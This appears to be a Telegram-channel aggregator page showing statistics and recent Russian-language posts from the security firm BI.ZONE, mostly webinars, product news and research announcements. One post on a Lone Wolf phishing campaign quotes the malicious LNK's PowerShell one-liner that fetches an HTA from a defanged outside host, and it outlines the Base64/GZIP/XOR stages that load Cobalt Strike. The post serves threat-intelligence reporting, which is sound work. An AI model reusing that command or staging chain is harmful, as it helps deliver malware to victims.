Мир сегодня с "Юрий Подоляка"

Труха⚡️Україна

Паглядзець

Николаевский Ванёк

Паглядзець

Мир сегодня с "Юрий Подоляка"

Паглядзець

Труха⚡️Україна

Паглядзець

Николаевский Ванёк

Паглядзець

BI.ZONE

Компания по управлению цифровыми рисками
Мы помогаем организациям по всему миру безопасно развивать бизнес в цифровую эпоху
Сайт: https://bi.zone
BI.ZONE Bug Bounty: @bizone_bb
OFFZONE: @offzone_moscow
Согласия получены. Условий, запретов не установлено

Рэйтынг TGlist

ТыпПублічны

Вертыфікацыя

Не вертыфікаваны

Надзейнасць

Не надзейны

РазмяшчэннеРосія

МоваІншая

Дата стварэння каналаOct 14, 2019

Дадана ў TGlist

Feb 06, 2025

Я ўладальнік канала

Гісторыя змяненняў

Статыстыка Тэлеграм-канала BI.ZONE

Падрабязней

Падпісчыкаў

8 928

24 гадз.

20%Тыдзень

130.1%Месяц

1031.2%

Індэкс цытавання

0

Згадкі1Рэпостаў на каналах0Згадкі на каналах1

Сярэдняе ахоп 1 паста

1 083

12 гадз.1 0830%24 гадз.1 0830%48 гадз.4650%

Узаемадзеянне (ER)

2.68%

Рэпостаў10Каментары0Рэакцыі19

Узаемадзеянне па ахопу (ERR)

0%

24 гадз.0%Тыдзень0%Месяц0%

Ахоп 1 рэкламнага паста

1 083

1 гадз.00%1 – 4 гадз.00%4 - 24 гадз.00%

Падрабязней

Падключыце нашага бота да канала і даведайцеся пол аўдыторыі гэтага канала.

Усяго пастоў за 24 гадзіны

3

Дынаміка

Апошнія публікацыі ў групе "BI.ZONE"

Усе пасты

23.04.202513:19

⚡️ Выложили запись вебинара «BI.ZONE EDR: на шаг впереди инцидента»

Рассказали, какие функции появились у решения за последнее время и как они помогут укрепить защиту конечных точек.

Из видео вы узнаете о новых возможностях сбора телеметрии, мониторинга и автоматического реагирования.

Смотреть запись

23.04.202511:41

🌝 Атаки с дорогими последствиями и защита за пределами веб-приложений

Наши эксперты выступили на CISO FORUM 2025 с докладами об актуальных угрозах и ошибочных подходах к безопасности.

Смотрите видео выступлений:

🔵Дешевые атаки с дорогими последствиями

Почему атаковать стало проще, какие инструменты используют злоумышленники и как бизнесу защититься от самых доступных способов вторжения.

🔵За пределами веба. Комплексная защита инфраструктуры от DDoS-атак

Как выглядит современная DDoS-атака, что остается незамеченным за периметром веб-приложений и зачем проводить регулярные стресс-тесты инфраструктуры.

В фокусе обоих докладов — реальные риски для бизнеса, кейсы, а также подходы, которые мы используем на практике.

23.04.202509:03

💼 BI.ZONE GRC на CISO FORUM 2025: как мы строим киберзащиту для крупных компаний

На CISO FORUM 2025 мы пообщались с Андреем Быковым, руководителем BI.ZONE GRC.

Он рассказал:

🟦Почему управление IT-активами — основа защиты бизнеса.
🟦Как автоматизировать процессы кибербезопасности в крупных холдингах.
🟦Как наш клиент за 2,5 года кратно вырастил уровень зрелости безопасности в группе из 200+ компаний.

➡️Смотреть интервью

Вы можете запросить бесплатное демо BI.ZONE GRC, чтобы оценить решение на практике.

22.04.202513:37

🌛 CVE-2025-24364 и CVE-2025-24365: анализируем уязвимости в Vaultwarden

По данным BI.ZONE TDR, в 2025 году Vaultwarden использует каждая десятая российская компания.

Поскольку секреты от других внутренних сервисов хранятся в Vaultwarden, при его взломе атакующий узнает и их. А если продукт автоматически получает секреты с помощью API, злоумышленник попадет на хост с обширной сетевой связностью.

Наша группа исследования уязвимостей проанализировала Vaultwarden. В результате мы обнаружили две уязвимости высокого уровня опасности: CVE-2025-24364 и CVE-2025-24365.

В статье разобрали, как устроены эти уязвимости, и дали рекомендации, как избежать их эксплуатации.

22.04.202511:41

🔍 Самые популярные и необычные способы пивотинга

Чтобы проникнуть в важные сегменты, злоумышленники могут прибегать к пивотингу. Эта техника позволяет использовать скомпрометированное устройство для дальнейшего проникновения в сеть.

В новой статье мы рассказали:

🔵как работает пивотинг,
🔵какие методы встречались в 2024 году чаще всего,
🔵какие необычные способы скоро могут стать популярными.

➡️Читать статью

21.04.202513:32

🚀 Еще больше возможностей для управления распределенной сетью

В новой версии BI.ZONE Secure SD-WAN мы повысили отказоустойчивость сетевой инфраструктуры и добавили полезные функции для распределенных компаний.

Что появилось:

🔵8 одновременно работающих интернет-каналов (NxWAN) вместо 2

Это повышает отказоустойчивость и дает больше гибкости при масштабировании.

🔵Географическое резервирование контроллеров

Их можно развернуть в разных локациях, но подключены они будут к одной инфраструктуре. При сбое основного контроллера система автоматически переключается на резервный.

🔵Кластер из двух сетевых устройств

Если одно устройство выходит из строя, второе продолжает работу. Это значимо для критически важных сервисов.

Обновление особенно актуально для организаций с высокими требованиями к доступности: банков, компаний из сфер здравоохранения, промышленности, телекома.

Подробнее

21.04.202511:04

🌕 Как Watch Wolf атакует российский бизнес

На фоне громких кибератак на крупные компании деятельность небольших группировок заметна меньше. Но она тоже наносит серьезный ущерб.

Одна из таких — кластер Watch Wolf в таксономии BI.ZONE Threat Intelligence, также известный как Buhtrap. Участники этой группировки атакуют преимущественно средний и малый бизнес.

Мы уже рассказывали об одном из инцидентов, а теперь делимся полноценным исследованием кластера от команды BI.ZONE DFIR.

Что внутри:

🔵Подробное описание жизненного цикла атак.
🔵Известные кампании.
🔵Используемые инструменты.
🔵Меры защиты от злоумышленников.

➡️Скачать исследование

21.04.202508:56

▶️ Делимся записью эфира «Коммерческий или гибридный SOC?»

В недавнем эфире AM Live эксперты разобрали:

🔵в чем плюсы и минусы разных подходов к обеспечению мониторинга и реагирования;
🔵как оценить эффективность гибридного и коммерческого SOC и различаются ли критерии;
🔵на что обратить внимание при переходе от одной модели к другой.

Видео будет полезно тем, кто строит либо развивает SOC, думает о смене модели или просто хочет свериться с лучшими практиками.

➡️Смотреть запись

Если у вас уже есть собственный SOC, пройдите наше бесплатное тестирование по оценке зрелости. После прохождения вы получите рекомендации, что и как можно улучшить.

11.04.202513:02

▶️ Что важно знать об identity security

Делимся конспектом и записью эфира AM Live, где эксперты обсудили:

🔵задачи, которые решает identity security,
🔵типичные ошибки при внедрении,
🔵ключевые векторы развития в ближайшие 1–2 года.

Будет полезно всем, кто отвечает за архитектуру доступа, IAM, PAM, киберзащиту и управление учетными записями.

Читать конспект и смотреть видео

Пераслаў з:

OFFZONE

08.04.202515:05

⚡️ Всё о нашем CFP

Совсем скоро мы откроем наш традиционный call for papers. Каждый год нас спрашивают, как стать спикером на нашей конференции, и задают еще кучу вопросов.

Как работает прием заявок? Почему мой доклад не приняли и что с этим делать? А мерч за выступление дадите? Дадим :) А какой? И так далее.

Чтобы call for papers был для вас более прозрачным, подробно рассказали о нем на «Хабре».

А еще на нашем сайте есть FAQ, где собраны ответы на все вопросы про OFFZONE.

20.03.202512:24

🌝 Эффективная логика обнаружения угроз в SOC

Детектирующая логика — основа мониторинга и реагирования на киберугрозы. К ней относится любой контент, позволяющий выявлять атаки:

🔵правила корреляции в SIEM-системе,
🔵сигнатуры NTA,
🔵правила обнаружения EDR,
🔵YARA-правила и т. д.

За семь лет работы нашего SOC мы собрали большую базу контента. Используем ее не только в BI.ZONE TDR, но и для того, чтобы помогать другим компаниям строить свой собственный центр мониторинга.

В статье, посвященной детектирующей логике, рассказали:

🟦про этапы разработки контента,
🟦формирование идей и гипотез,
🟦критерии эффективности правил.

Читать статью

12.03.202513:00

🦴 Вы задолжали Lone Wolf: атакующие рассылают загрузчик Cobalt Strike под видом документов о финансовой задолженности

С начала марта злоумышленники из Lone Wolf реализовали несколько фишинговых кампаний.

Письма с темой «Актуальная задолженность(просроченная)» рассылались в российские логистические, производственные, финансовые организации и компании из сферы розничной торговли. К письму был прикреплен запароленный архив «выписка.zip».

Интересно, что для обхода автоматизированных средств защиты, умеющих «подставлять» пароль из тела письма для сканирования вложений, злоумышленники использовали фразу «пароль к архиву одна единица».

Внутри архива — ярлык Windows «Выписка.lnk». При его открытии жертвой происходила компрометация системы, а на устройство загружался Cobalt Strike Stager в следующей последовательности:

1. PowerShell-скрипт, содержащийся в LNK-файле, загружал HTA-файл по ссылке zetag[.]ru/z[.]hta.

powershell .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')http://zetag[.]ru/z.hta

2. Файл z.hta, содержащий закодированный с помощью Base64 и запакованный утилитой GZIP PowerShell-скрипт, декодировал еще одну стадию — снова PowerShell-скрипт.

3. Шелл-код с экземпляром Cobalt Strike Stager декодировался сначала с помощью Base64, потом путем операции XOR с ключом 0x35 и внедрялся в адресное пространство процесса PowerShell.

Полученный доступ к корпоративным сетям злоумышленники использовали для распространения программ-вымогателей.

11.03.202509:34

🌜 Разобрали до кварков: вышла запись эфира «Киберразведка решает все»

В студии AM Live поговорили о threat intelligence. Эксперты разобрали, как киберразведданные помогают компаниям выявлять угрозы на ранней стадии и предупреждать атаки до того, как они нанесут ущерб. А также обсудили, как правильно:

🟦применять киберразведданные,
🟦выстроить непрерывный процесс киберразведки,
🟦внедрить актуальные подходы к сбору данных и управлению процессами.

Смотреть запись

Читать обзор эфира

А еще напоминаем, что недавно вышло обновление BI.ZONE Threat Intelligence. С новым инструментом «Теневые ресурсы» компаниям будет проще предсказывать кибератаки и минимизировать последствия утечек.

07.02.202510:42

⚡️ Сбер внедрил BI.ZОNE PAM

Вместо зарубежной системы по управлению привилегированным доступом Сбер внедрил отечественное решение BI.ZONE PAM.

Благодаря ему тысячам IT-специалистов Сбера станет удобнее работать с критическими системами.

Вот что получила компания:

🟦Контроль прав привилегированных пользователей, мониторинг их активности и передача данных в SIEM.

🟦Масштабирование инсталляции на всю цифровую инфраструктуру.

🟦Меньше действий DevOps-, SRE-инженеров и администраторов для подключения сразу к множеству объектов инфраструктуры.

Наши эксперты помогли Сберу составить дорожную карту с учетом потребностей компании, что сделало внедрение BI.ZONE PAM поэтапным и бесшовным.

Подробнее о сотрудничестве

06.02.202512:06

🌜 Разбираем самое интересное из Threat Zone 2025

13 февраля в 11:00 проведем онлайн-презентацию нового исследования.

Расскажем:

🔵Что появилось в арсенале кластеров активности, нацеленных на российские организации.
🔵Какие особенности в атаках на компании наблюдают специалисты киберразведки.
🔵Как изменилась мотивация злоумышленников.

А еще ответим на вопросы об исследовании киберугроз. Пишите их в специальном поле при регистрации на мероприятие.

Среди авторов самых интересных вопросов разыграем печатные экземпляры исследования и другие призы!

Ведущие:

🟦Олег Скулкин, руководитель BI.ZОNE Threat Intelligence.
🟦Дмитрий Купин, руководитель отдела исследования киберугроз и вредоносного кода, BI.ZОNE Threat Intelligence.

Зарегистрироваться

Усе пасты